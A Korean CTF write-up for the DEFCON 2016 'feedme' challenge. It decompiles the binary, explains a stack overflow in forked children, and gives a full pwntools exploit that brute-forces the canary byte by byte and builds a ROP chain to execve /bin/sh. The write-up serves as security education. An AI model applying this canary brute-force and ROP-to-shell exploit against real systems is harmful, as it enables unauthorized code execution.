-
feedme - DEFCON 2016Write-ups/CTFs 2020. 3. 1. 20:43
Prob Info
Checksec 32bit 프로그램이며 NX만 활성화되어있다.
Code
static linked에 모두 스트립되어있어 함수를 잘 찾아줘야한다. 간단하게 start에서 시작해서 메인부터 찾아줬다.
int __cdecl main(int argc, const char **argv, const char **envp) { signal(14, (int)sub_8048E24); alarm(150); setvbuf((unsigned int *)off_80EA4C0, 0, 2, 0); sub_804F820((int *)off_80EA4BC); sub_80490B0(); return 0; }
함수 인자보고 대충 예상해서 이름을 맞춰줬다.
void sub_80490B0() { unsigned __int8 v0; // al int v1; // [esp+8h] [ebp-20h] int v2; // [esp+10h] [ebp-18h] unsigned int i; // [esp+14h] [ebp-14h] const struct timespec *v4; // [esp+18h] [ebp-10h] int v5; // [esp+1Ch] [ebp-Ch] int savedregs; // [esp+28h] [ebp+0h] v2 = 0; for ( i = 0; i <= 0x31F; ++i ) { v4 = fork(); if ( !v4 ) { v0 = sub_8049036(); printf("YUM, got %d bytes!\n", v0, v1); return; } v1 = 0; v5 = sub_806CBE0((int)&savedregs, (int)v4, (int)&v2); if ( v5 == -1 ) { puts((int)"Wait error!"); exit(-1); } if ( v2 == -1 ) { puts((int)"Child IO error!"); exit(-1); } puts((int)"Child exit."); sub_804FA20(0); } }
sub_80490B0에 문제가 들어있다. 먼저 자기 프로세스를 fork시켜 자식 프로세스에서 sub_8049036를 실행시키며 이를 800번 반복한다.
int sub_8049036() { unsigned __int8 v0; // ST1B_1 char *v1; // eax int result; // eax char v3; // [esp+1Ch] [ebp-2Ch] unsigned int v4; // [esp+3Ch] [ebp-Ch] v4 = __readgsdword(0x14u); puts((int)"FEED ME!"); v0 = getch(); read_line((int)&v3, v0); v1 = sub_8048F6E((int)&v3, v0, 0x10u); printf("ATE %s\n", v1); result = v0; if ( __readgsdword(0x14u) != v4 ) sub_806F5B0(); return result; }
getch는 한글자를 받아 그것을 숫자처럼 사용한다. ('a' 는 0x61) 받은 수만큼 입력을 받는데, 여기서 bof가 일어난다. 그런데 이 함수가 호출된 프로세스는 fork된 자식 프로세스이기 때문에 canary값도 같으며 이 canary가 손상되어도 메인 프로세스에게는 영향이 없다. 그렇기 때문에 brute forcing으로 canary 4바이트를 구하면 된다.
canary = '' for i in range(4): for j in range(0xff): p.sendafter('ME!\n', chr(0x20+1+i)) p.send('a'*0x20 + canary + chr(j)) data = p.recvuntil('FEED ') if 'YUM' in data: canary += chr (j) log.info('canary: %r' % canary) break
이후 canary를 구했으면 ret을 덮으면 된다. 그런데 static linked이기 때문에 그냥 syscall을 하기로 했다. 그전에 rop를 이용해 bss 영역에 /bin/sh을 써주고 가젯들을 모아 쉘을 열어준다.
#!/usr/bin/python from pwn import * #context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] p = process('./feedme') binary = ELF('./feedme') bss = binary.bss() + 0xd00 pppr = 0x080963be read = 0x0806D870 binsh = '/bin/sh\x00' pop_eax_ret = 0x080e243d pop_edx_ecx_ebx = 0x0806f370 int80 = 0x0806fa1d canary = '' for i in range(4): for j in range(0xff): p.sendafter('ME!\n', chr(0x20+1+i)) p.send('a'*0x20 + canary + chr(j)) data = p.recvuntil('FEED ') if 'YUM' in data: canary += chr (j) log.info('canary: %r' % canary) break payload = 'a'*0x20 + canary + 'a'*0xc payload += p32(read) + p32(pppr) + p32(0) + p32(bss) + p32(8) payload += p32(pop_eax_ret) + p32(0xb) payload += p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss) payload += p32(int80) p.sendafter('ME!\n', chr(len(payload))) p.send(payload) p.send(binsh) p.interactive()
'Write-ups > CTFs' 카테고리의 다른 글
houseoforange - HITCON 2016 (0) 2020.02.27 speedrun-009 - DEFCON 27 (0) 2020.02.22